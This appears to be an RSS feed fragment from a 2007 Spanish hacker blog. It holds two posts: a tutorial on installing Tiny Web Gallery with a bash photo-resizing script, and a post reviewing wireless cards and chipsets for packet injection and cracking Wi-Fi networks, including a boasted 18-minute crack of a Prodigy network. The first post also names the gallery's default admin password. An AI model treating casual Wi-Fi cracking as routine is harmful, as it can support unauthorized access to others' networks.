			<content:encoded><![CDATA[<p><img  align=left id="image47" src="http://hackarandas.com/blog/wp-content/uploads/2007/04/mona-lisa-monalisa.miniatura.jpg" alt="Monalisa" /> Pues ya por fin pude crear la galería y es que quería ponerla de cierta forma en particular, ya saben, soy de esos que si no cuestan uno y la mitad del otro no me sabe. Quería poner la galería de forma que no usara un servicio externo como <a href="http://www.flicker.com/">Flicker</a>, que se  crearan los thumbs de forma dinámica y que no tuviera que usar el MySQL.</p>
<p>Encontré el <a href="http://www.tinywebgallery.com/index.php?twg_lang=en">Tiny Web Gallery</a> que sobrepasó mis expectativas, aparte de que es realmente fácil de utilizar y administrar. ¿No te ha pasado que tienes cientos de pics pero el problema es que hiciste respaldo en multiples directorios en diferentes partes de tu sistema? En fin, hice un script que me automatiza la creación de la galeria escalando las imágenes a 800&#215;600, ordenándolas y etiquetándolos con una leyenda que describa la situación del evento, para muestra un botón:</p>
<p><center><a  class="imagelink" href="http://hackarandas.com/blog/wp-content/uploads/2007/04/lentes.jpg" title="Adrian con lentes"><img id="image48" src="http://hackarandas.com/blog/wp-content/uploads/2007/04/lentes.miniatura.jpg" alt="Adrian con lentes" /></a></center></p>
<p>En mi caso me bajé el <a href="http://www.apachefriends.org/en/xampp.html">XAMPP</a> que es un excelente proyecto de que incluye Apache, PHP 4 o 5 y MySQL extremadamente amigable para administrar. Vamos a <a href="http://www.apachefriends.org/en/xampp-linux.html#374">descargarlo aqui</a> y <a href="http://http://www.apachefriends.org/en/xampp-linux.html#377">seguimos las instrucciones</a>, es importante cambiarle las contraseñas a los servicios de XAMPP para un servidor en producción sino luego no chilles si te cambian la página de inicio. Recuerda que el TWG funciona con PHP4 al menos yo no lo he probado con el PHP5 asi que cambiamos con el siguiente comando:</p>
<p><code>sudo /opt/lampp/lampp security<br />
sudo /opt/lampp/lampp php4<br />
sudo /opt/lampp/lampp  restart<br />
</code></p>
<p>Ahora descargamos el <a href="http://www.tinywebgallery.com/en/index.htm">TWG de aqui</a> lo descargamos en <em>/tmp </em>y lo ponemos en la siguiente carpeta <em>/opt/lampp/htdocs</em>. Es importante cambiarle el grupo y darle permisos de escritura al apache pues de otra forma no podremos administar e TWG.</p>
<p><code>cd /opt/lampp/htdocs/<br />
unzip -a /tmp/twg*.zip<br />
mv twg* galeria<br />
chgrp -R nobody galeria<br />
chmod -R g+w galeria<br />
</code></p>
<p>Listo! ya tenemos instalado el Apache con el PHP4 y el TWG en nuestra máquina y podemos verlo andar en la siguiente direccion <a href="http://localhost/galeria">http://localhost/galeria</a> . Debes de poder ver la galería de prueba, cosa que queremos pues significa que el &#8220;juguete&#8221; está andando, después puedes borrar esta galeria para sólo dejar la tuya. Ahora vamos a administrarla, RECUERDA CAMBIAR LOS PERMISOS. entramos a la siguiente dirección <a href="http://localhost/galeria/admin/index.php">http://localhost/galeria/admin/index.php</a> con el usuario <em>admin</em> y la contraseña <em>twg_admin</em> y nos llevará a la primera página de administración donde no exhorta cambiar el passwd cosa que recomiendo ampliamente así como cambiar el login del usuario por defecto por uno menos convencional, ya sabes, vivo en la paranoia.</p>
<p>  Para irnos directo: en el menú izquierdo vemos una liga que dice &#8220;<em>Configure TWG</em>&#8221; la pulsamos y en la opción &#8220;<em>Enable session caching of directorys and files</em>&#8221; le damos <em>false</em>. Cuando estamos actualizando la galeria es bueno tenerlo en <em>false</em> así regenera el caché y podemos ver la galeria terminada. Cuando acabemos no olvides poner en <em>true</em> esta opción, es mucho mas óptimo tenerlo habilitado cuando ya se encuentra en producción. Las imágenes se guardan en carpetas en la siguiente dirección <em> /opt/lampp/htdocs/galeria/pictures</em> Cada galeria le puedes poner una carpeta y dentro de cada carpeta puedes poner una imagen llamada <em>folder.png</em> para que sea el ícono de la Galeria así como un archivo foldername.txt para la descripción donde puedes poner HTML y hacerlo mas &#8220;<em>eye candy</em>&#8220;.</p>
<p>Vamos al famoso Script que nos automatizará la tarea de procesamiento de imágenes. Es importente tener el comando convert del <a href="http://www.imagemagick.org/">Imagemagick</a>. El <a id="p50" rel="attachment" href="http://hackarandas.com/blog/2007/03/15/habemus-galeria/script-dogallery/" title="Script doGallery">script doGallery</a></p>
<blockquote><pre>#!/bin/bash
# Script hecho por Adrian Puente.

if [ $# -lt 2 ]
then
        echo -e "Sintaxis: `basename ${0}` [Prefix Pics] ["Desc"]"
        echo -e "Ejemplo: `basename ${0}` navidad.familia.2007 \\"Navidad con la Familia 2007\\".\\n"
        echo -e "Es importante poner las descripciones con espacios entre comillas."
        echo -e "Terminando el script una carpeta 800x600 contendra las imagenes procesadas."
        exit 0
fi

[ -f PROCESADO.TXT ] \&#038;\&#038; cat PROCESADO.TXT \&#038;\&#038; echo "Borrar el archivo PROCESADO.TXT" \&#038;\&#038; exit 

PREF=${1}
DESC=${2}
OK="\\033[5;32;1mHECHO\\033[0m"
NO="\\033[5;31;1mERROR\\033[0m"

[ ! -d 800x600 ] \&#038;\&#038; mkdir 800x600
# Renombramos las pics para mayor comodidad.
CTR=0;
for i in `ls -1 *.jpg *.JPG`
do
        if [ ${CTR} -lt 10 ]
        then
                NUM=00${CTR}
        else if [ ${CTR} -lt 100 ]
        then
                        NUM=0${CTR}
                else
                        NUM=${CTR}
                fi
        fi
        CTR=`expr ${CTR} + 1`
        echo -en "Convirtiendo ${i} --> ${PREF}-${NUM}.jpg "
        convert ${i} -scale 800x600 -fill white \\
                     -box \\#00000080 -gravity South \\
                     -pointsize 25 -annotate +0+5 "${DESC}" \\
                     800x600/${PREF}-${NUM}.jpg \&#038;\&#038; echo -e [${OK}] || echo -e [${NO}]
done

echo ${DESC} > 800x600/foldername.txt
echo -e "Directorio procesado para galeria el "`date +%F` > PROCESADO.TXT
</pre>
</blockquote>
<p>El script te crea un archivo <em>foldername.txt</em>  con la descripción que escogimos que es compatible con el TWG, también crea un archivo llamado PROCESADO.TXT que guarda la fecha en que esa carpeta fue procesada para no tener múltiples instancias de las carpetas procesadas. Ahora renombramos la carpeta 800&#215;600 con un nombre que describa la situación, no sé, <em>mi_cumple_2007</em>, cuando termino restauro la opción del cache y en mi caso sincronizo los directorios con rsync, así puedo tener la galeria &#8220;en desarrollo&#8221; en mi máquina y cuando queda como quiero la subo, así tengo respaldo y no consumo el ancho de banda de mi site, ok muy ñoño pero no hay porqué ser ineficientes.   </p>
<p><code>rsync --progress -avz -e ssh /opt/lampp/htdocs/galeria usuario@sitioweb:camino/a/los/htdocs<br />
</code></p>
<p>Si tienes algún problema extraño recuerda los permisos . En mi caso mi usuario y grupo en el sitio web es diferente al que tengo en mi máquina así que es bueno verificar los permisos de los grupos. Si quieres aumentarle la seguridad a tu sitio cambia el nombre de la carpeta admin por algún nombre difícil de adivinary accesa por la misma carpeta /index.php. Listo! la galeria ha sido creada. Enjoy</p>
<p>La galería de este su Blog es: <a href="http://http://www.hackarandas.com/galeria">http://www.hackarandas.com/galeria</a></p>
<p><em>Adrián Puente Z.</em></p>
]]></content:encoded>
			<wfw:commentRss>http://hackarandas.com/blog/2007/03/15/habemus-galeria/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Adicciones&#8230;</title>
		<link>http://hackarandas.com/blog/2007/03/03/adicciones/</link>
		<comments>http://hackarandas.com/blog/2007/03/03/adicciones/#comments</comments>
		<pubDate>Sat, 03 Mar 2007 17:24:37 +0000</pubDate>
		<dc:creator>Ch0ks</dc:creator>
				<category><![CDATA[Artículos]]></category>

		<guid isPermaLink="false">http://hackarandas.com/blog/2007/03/03/adicciones/</guid>
		<description><![CDATA[ Yo no sé en que momento me vi envuelto en esta adicción sino mas bien descubrí que la tenía cuando encontré un buen bonche de tajetas de red inalámbricas en mi mochila. Ya sabes volviendo atrás recuerdo como me la mostraban y casi babeando sin consciencia de mi mi mano, cual poseída, sacaba el [...]]]></description>
			<content:encoded><![CDATA[<p><img align="left" id="image38" src="http://hackarandas.com/blog/wp-content/uploads/2007/03/radiohead_bear_blue.miniatura.jpg" alt="Blue Bear" /> Yo no sé en que momento me vi envuelto en esta adicción sino mas bien descubrí que la tenía cuando encontré un buen <em>bonche</em> de tajetas de red inalámbricas en mi mochila. Ya sabes volviendo atrás recuerdo como me la mostraban y casi babeando sin consciencia de mi mi mano, cual poseída, sacaba el dinero de mi cartera, &#8220;total 300 pesos no es tanto&#8221;. Bueno&#8230; ahora tengo una colección de 7 tarjetas: 2 pcmcia y 5 USB mas las que tienen las 2 Laptops, una Centrino y otra Ralink.</p>
<p>¿Porqué nació esta adicción? Creo que ha sido mi obsesión por encontrar la tarjeta de red perfecta para romper redes inalámbricas entonces me vi envuelto en la modificación (mas bien destrozamiento) de mi tarjeta WUSB54G para añadirle una antena de 9 dbi y me detuve con la frustración de la tarjeta X-Media que nunca me funcionó.</p>
<p>Bueno todo esto viene a que ando escribiendo un artículo de cómo romper redes inalámbricas y entre mis tarjetas que funcionan con el <a href="http://www.remote-exploit.org/backtrack.html">Backtrack</a> y el <a href="http://www.wifislax.com/">WifiSlax</a> estos son mis favoritos:</p>
<p><a class="imagelink" href="http://hackarandas.com/blog/wp-content/uploads/2007/03/dwl-g650_view.jpg" title="AirPlus Xtreme G"><img align=right id="image40" src="http://hackarandas.com/blog/wp-content/uploads/2007/03/dwl-g650_view.miniatura.jpg" alt="AirPlus Xtreme G" /></a> La DWL-G650 de D-Link. La mejor tarjeta que he tenido. Con esta mi <a href="href="http://hackarandas.com/blog/wp-content/uploads/2007/03/record.png"">récord sobre una red de Prodigy es de 18 mins</a> y si le pones una moneda de 10 pesos aumentas su alcance (por ridículo que suene). El problema es que la tecnología <a href="http://es.wikipedia.org/wiki/PCMCIA"><em>pcmcia</em></a> está de salida y ya las nuevas laptops no la usan. Lo interesante de esta tarjeta es que tiene <a href="http://es.wikipedia.org/wiki/Chipset_Prism">chipset Prism</a> que permite la inyección de paquetes. Esta tarjeta la uso en una máquina Pentium con 32 de RAM que sólo tiene Backtrack instalado y funciona de maravilla.</p>
<p><a class="imagelink" href="http://hackarandas.com/blog/wp-content/uploads/2007/03/linksys_wusb54g_wireless-g_usb_network_adapter-resized200.jpg" title="WUSB54G de Linksys"><img align=left id="image41" src="http://hackarandas.com/blog/wp-content/uploads/2007/03/linksys_wusb54g_wireless-g_usb_network_adapter-resized200.miniatura.jpg" alt="WUSB54G de Linksys" /></a> El dispositivo WUSB54G es muy bueno y al ser conectado por USB puedes conectarlo donde sea. Tiene un chipset Ralink que detecta perfectamente el Backtrack como <em>rausb0</em> y es relativamente barato. En lo que se refiere a inyección de paquetes es muy lento y se llega a trabar por lo que desarrollé un script para que reiniciara la inyección cada X tiempo. Es mi segunda favorita y hay la posibilidad de <a href="http://www.egidy.de/wifi/wusb54g/">adaptarle una antena</a> para aumentar su alcance. Yo estoy haciendo el intento pero he descubierto que soy particularmente torpe al usar el cautín destruyendo todo en un rango de metro y medio.</p>
<p> <a class="imagelink" href="http://hackarandas.com/blog/wp-content/uploads/2007/03/averatec.jpg" title="Laptop Averatec"><img id="image43"  align=right src="http://hackarandas.com/blog/wp-content/uploads/2007/03/averatec.miniatura.jpg" alt="Laptop Averatec" /></a>También tengo una vieja latop Averatec que tiene igualmente el chipset Ralink y funciona de maravilla hasta que le troné el procesador por calor. El problema fue que no hallaba quien me la arreglara hasta que hallé al Ingeniero Miguel en la plaza de la computación en lel piso de arriba en el local 62 por la zona de comida. Me eché la laptop al intentar reconstruirle el cargador y genero mal la corriente aparte de que un ventilador le falló y ya no enfriaba. Ahora le compré una de esas <a href="http://hackarandas.com/blog/wp-content/uploads/2007/03/delli9400.jpg">bases con ventiladores</a>.</p>
<p><a class="imagelink" href="http://hackarandas.com/blog/wp-content/uploads/2007/03/delli9400.jpg" title="Laptop Dell Inspiron"><img id="image44" align=left src="http://hackarandas.com/blog/wp-content/uploads/2007/03/delli9400.miniatura.jpg" alt="Laptop Dell Inspiron" /></a> Al parecer el chipset <a href="http://es.wikipedia.org/wiki/Centrino">Centrino</a> tiene la capacidad para inyectar paquetes y poder romper redes usando el <em>aireplay-ng</em> parchado que ya trae Wifislax. La verdad es un maquinón y a diferencia de otras personas Dell nunca me ha dado problemas, en fin&#8230; de todas formas es la máquina de la oficina.</p>
<p>Ya para terminar a mi chica le compré una <a href="http://hackarandas.com/blog/wp-content/uploads/2007/03/enuwi-g_386.jpg">tarjeta de red Encore</a> muy muy barata y muy muy buena. Normalmente la calidad del hardware es proporcional al precio pero esta tarjeta realmente rompió con los esquemas, hasta ha funcionado mejor que otras que son mas caras y se ven mas finas. Por otro lado compré 2 tarjetas XMedia y ambas tienen chipset Ralink pero aún asi no le ganaron a la tarjeta Encore. Por otro lado la tarjeta XMedia IT-WL542 tiene Chipset Ralink y la detecta el Bactrack 2 Final la echó a andar y duró como 5 mins funcionando pero de ahi en fuera ni Ubuntu ni Debian me la detectaron bien. La verdad no la recomiendo para Linux aunque está muy barata la tarjeta ya para <a href="http://es.wikipedia.org/wiki/Hasefroch">Hasefroch</a> es otra historia.</p>
<p>Por lo pronto tengo que encontrarle un bonito hogar al montón de tarjetas que realmente no utilizo y tratar de contenerme mas pues me hace mas falta ropa que hardware. ¿Alguien está interesado en una tarjeta pcmcia bla?</p>
<p><em>Adrián Puente Z.</em></p>
]]></content:encoded>
			<wfw:commentRss>http://hackarandas.com/blog/2007/03/03/adicciones/feed/</wfw:commentRss>
		<slash:comments>17</slash:comments>
		</item>
	</channel>
</rss>
